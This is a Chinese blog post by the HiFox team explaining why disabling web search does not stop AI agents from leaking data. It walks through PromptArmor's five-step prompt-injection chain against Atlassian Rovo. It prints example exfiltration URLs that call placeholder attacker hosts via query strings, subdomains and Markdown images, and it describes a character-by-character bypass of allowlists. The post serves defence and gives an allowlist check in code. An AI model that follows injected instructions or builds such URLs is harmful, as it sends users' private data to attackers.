关掉网页搜索,为什么拦不住 AI Agent 漏数据

网页搜索开关藏起的是搜索功能,不是打开网址的工具。模型自己拼出的地址、域名查询和自动加载的图片,都还能把私有数据送出去。

Bob

Bob

2026-10-28

关掉网页搜索,为什么拦不住 AI Agent 漏数据

先说结论:关掉网页搜索并不能阻止 AI Agent 的数据外泄,因为这个开关藏起的是一个功能,不是它下面的工具。只要 Agent 仍能打开 URL、渲染图片或调用连接器,注入进去的指令就可以把你的数据装进一次请求。修复是确定性的:Agent 只能获取人亲手输入的 URL,或可信工具返回的 URL。

多数团队把网页搜索开关当成对外风险的关闭按钮。它不是。2026 年 8 月,PromptArmor 演示了对 Atlassian Rovo 的一次攻击,组织范围的网页搜索已经关掉,攻击仍然成立。这个原因适用于你构建或购买的任何 Agent。

下面是外泄通道、为什么常见补丁会失败,以及站得住的那条规则。我们做 HiFox,编程 Agent 从同一块看板领取任务,所以同样的问题也适用于我们。提示词注入在所有地方都还没被解决,包括 HiFox 所运行的编程 Agent。

网页搜索开关控制什么,又不控制什么

网页搜索开关控制的是 Agent 能不能调用搜索引擎。它完全没说那个单独的、负责打开 URL 并读取响应的工具。如果获取工具仍然开着,Agent 仍然可以向互联网上的任何服务器发请求,而每一次请求都会在地址里带上数据。

搜索返回一份链接列表。获取拿起一个链接,发出一次 HTTP 请求。数据在获取这一步离开你的租户。

这个缺口就是 Rovo 那次发现的全部。PromptArmor 的记录写道,网页搜索设置「没能拿掉打开搜索结果的那个工具」。组织管理员关掉了搜索。获取工具还开着。

Agent 怎样拼出一个外泄 URL

间接提示词注入,是攻击者把指令藏进 Agent 稍后会读到的内容:一份文件、一张工单、一个网页。模型没法可靠地把你的请求,和它沿途找到的文字区分开。按 PromptArmor 的描述,Rovo 的链条是五步:

  • 受害人上传一份 “Backlog Guide”,里面带着隐藏指令。
  • 稍后,受害人让 Rovo 整理自己的 Jira 工单。
  • Rovo 搜索 Jira 和 Confluence,并在工作中读到这份带毒文件。
  • 注入告诉 Rovo,把工单和 Confluence 内容接到攻击者的 URL 上,并用 URL 获取工具打开它。
  • 攻击者的服务器记下这次请求,数据也在里面。受害人看到的是正常的工单建议。

没有点击,没有批准提示。PromptArmor 点到的其他注入来源还有:支持工单、搜索打开时的网页结果,以及第三方连接器。

关键在第 4 步。PromptArmor 报告「对打开 Agent 动态创建的 URL 没有任何防护」。地址是 Agent 自己写的,所以地址里可以装下它读到的任何东西。

外泄 URL 长什么样?

形状如下,域名是占位的:

https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri

攻击者在访问日志里读 d=。Agent 发了一次 GET,而这正是获取工具存在的目的。

为什么去掉查询字符串没有用:子域名和 DNS 外泄

过滤 URL 里 ? 后面的部分,是多数人第一反应的补丁。它会失败。在 Hacker News 讨论(306 分,138 条评论)里,Simon Willison 指出,有了通配 DNS,数据可以住在主机名里:

https://cHJvZCBkYiBjcmVkcw.attacker.example/

攻击者的 DNS 服务器对每个子域名都作答,并记下每一次查询。数据在名字解析期间离开,甚至在 HTTP 请求完成之前。另一位评论者补充,数据可以藏在 URL 的任何部分,包括凭证字段。

所以规则不能是「把 URL 洗干净」。Willison 的版本是:问题在于「根本不能动态构造 URL」。

Markdown 图片这条通道

有些 Agent 不需要获取工具也能漏。如果聊天界面会渲染来自外部域名的 Markdown 图片,模型可以在回答里写下:

![status](https://img.attacker.example/p.png?d=PROJ-412-summary)

用户的浏览器加载这张图片并发出请求。没有人点击任何东西。PromptArmor 指出 Rovo 会在 AI 输出里渲染 Markdown 图片,并把它称为已知的外泄向量,不过那篇记录没有另外给出一条完整的 Rovo 链。

这条通道活在渲染层,所以任何 Agent 工具设置都碰不到它。

为什么「只允许预先索引过的 URL」仍然会漏,一次一个字符

有一种缓解是:只有搜索爬虫已经索引过的 URL,Agent 才能打开。攻击者没法索引一个包含你的秘密的 URL,因为这个秘密此前并不存在于公开网络。

Johann Rehberger(Hacker News 上的 wunderwuzzi23)解释了绕法。设想攻击者预先发布每个字符一页,从 /a 到 /z,并让它们被索引。注入随后告诉 Agent,按秘密的每个字符依次访问对应页面。攻击者在日志里读这一串命中。

它又慢又吵。它也成立。Rehberger 的概括是:每一步都让攻击更贵,而不是不可能。他确实认为,对目的明确的 Agent,域名允许列表是有效的,因为它们直接挡住攻击者控制的端点。

确定性规则:只获取来自人或可信工具的 URL

站得住的修复不要求模型更小心。它拿掉 Agent 选择目的地的能力:

  • 允许:用户在对话里输入的 URL。
  • 允许:可信工具原样返回的 URL,例如一条搜索结果。
  • 阻止:模型拼出来、改过或延长过的任何 URL。

在模型外面的代码里执行。保留一份从可信来源进入对话的 URL 集合,精确字符串不在集合里的获取一律拒绝:

allowed_urls: set[str] = set()

def on_user_message(text: str) -> None:
    allowed_urls.update(extract_urls(text))

def on_search_results(results: list[dict]) -> None:
    allowed_urls.update(r["url"] for r in results)

def fetch(url: str) -> str:
    if url not in allowed_urls:
        raise PermissionError(f"blocked agent-built URL: {url[:60]}")
    return http_get(url)

两个限制。这个检查盖不住图片通道,所以仍然要在渲染输出里拦截外部图片。如果可信工具可以返回攻击者选定的列表,它也挡不住一个字符一个字符的手法,所以范围窄的 Agent 上面还要加域名允许列表。

这是 Willison 的致命三角在落地:私有数据、不可信内容、一条对外通道。有用的 Agent 去不掉前两样。你可以把第三样做成确定性的。OWASP 把提示词注入列为 LLM01,原因相同:模型一侧的修复都不完整。

构建或购买 Agent 的人可以用的清单

对每一个能访问私有数据的 Agent 问这些:

  • 列出每一个能发网络请求的工具:获取、浏览器、连接器、webhook、邮件。
  • 每个开关是拿掉一个工具,还是只藏起使用它的功能?
  • Agent 能打开它自己构造的 URL 吗?
  • 输出里会渲染外部 Markdown 图片吗?
  • 有没有域名允许列表,谁控制它?
  • 哪些来源能注入:上传、工单、网页结果、连接器?
  • 厂商对上一次外部安全报告做了什么,有多快?

对 Rovo,公开时间线回答了第 7 问:PromptArmor 在 2026 年 5 月 23 日披露,Atlassian 在 5 月 25 日确认,6 月 4 日和 7 月 29 日的跟进没有得到回复,8 月 5 日记录公开时 Rovo 仍然可被利用。截至 2026 年 10 月 27 日,我们没有找到 Atlassian 针对这条路径的修复或声明。采用这个结论前,请再核对厂商公告。

注意:Rovo Dev 是 Atlassian 的编程 Agent,和这次发现里的 Rovo 助手是分开的产品。见 Rovo Dev 免费档说明。

这怎么落到 HiFox 里的编程 Agent

编程 Agent 整天在读不可信文字:工单正文、README、取回来的页面。HiFox 不会让 Claude Code 或 Codex 对此免疫。

HiFox 改变的是谁拥有对外边界。Agent 通过本机服务跑在你自己的电脑上。电脑文档写明,电脑「提供 Agent 需要的操作系统、文件、凭证、网络访问和工具」。把一台电脑放在出口允许列表后面,上面的每一次运行都继承这个限制,不管执行的是哪个 Agent。

文档里还有几条边界:

  • 访客只能看到被加入的空间。
  • 第三方应用里的动作需要已授权的连接器。
  • 技能文档说,绝不要把密码、令牌或密钥写进技能说明或文件,这样被劫持的 Agent 不能从那里读到它们。

这些都阻止不了 Agent 滥用它已经持有的访问权。线该画在哪里,见编程 Agent 的权限、批准门,以及提示词注入护栏。

结论

网页搜索开关是产品设置,不是安全控制。数据从任何能发出请求的东西离开:获取工具、一次主机名查询、一个图片标签。在模型外面,用代码把这些路径关上。

下一步:本周对团队在用的一个 Agent 跑这七个问题,从第 3 问开始。如果你在好几台电脑上跑编程 Agent,把它们放进 HiFox,并给每台套上你已经信任的出口规则。

常见问题

关掉网页搜索能阻止提示词注入吗?

不能。提示词注入来自 Agent 读到的任何内容,包括上传、工单和连接器数据。关掉搜索只拿掉一个不可信内容的来源,注入仍可以从其他来源进来,也仍可以从获取工具离开。

什么是基于 URL 的数据外泄?

就是 Agent 把私有数据放进一个 URL 再请求它。攻击者的服务器记下请求并读出数据。它不需要恶意软件,只需要一个能构造并打开任意 URL 的 Agent。

Markdown 图片在 AI 聊天里是安全风险吗?

当界面会渲染来自外部域名的图片时,是的。浏览器会自动获取图片 URL,所以模型写进 URL 的任何数据都会在没有点击的情况下到达攻击者。

域名允许列表够吗?

对只需要少数几个域名的窄 Agent,允许列表是目前最强的控制。对通用助手,名单很难收紧,所以要配上另一条规则:Agent 绝不获取它自己拼出来的 URL。

Atlassian 修好了 Rovo 的外泄问题吗?

截至 2026 年 10 月 27 日,我们没有找到 Atlassian 针对 PromptArmor 所公布路径的声明或已确认修复。更新请看 PromptArmor 的页面和 Atlassian 的公告。

Explore more

AI Agent 交接:Agent 对 Agent 与对人

AI Agent 交接:Agent 对 Agent 与对人

多 Agent 工作流多半死在交接:产物交出去了,上下文和「轮到谁」没交。把 Agent 对 Agent 设成自动流动,Agent 对人设成停在审阅门,用状态而不是终端消息承接。

2026-11-05

Datasette Agent:从聊天到受控数据应用

Datasette Agent:从聊天到受控数据应用

Datasette Agent 把聊天放在数据页面旁,Apps 把生成的界面留在 Datasette 内。拆解页面同屏、存储查询授权与写入审批,并给出可复核的团队试用步骤。

2026-11-05

Mozilla Otari:Agent 权限、预算与审计

Mozilla Otari:Agent 权限、预算与审计

Otari 把模型与工具授权、预算预留和仓库 hook 检查放到执行链路。本文拆解拦截时点、审计证据与已知边界,给部署团队一套验证步骤。

2026-11-05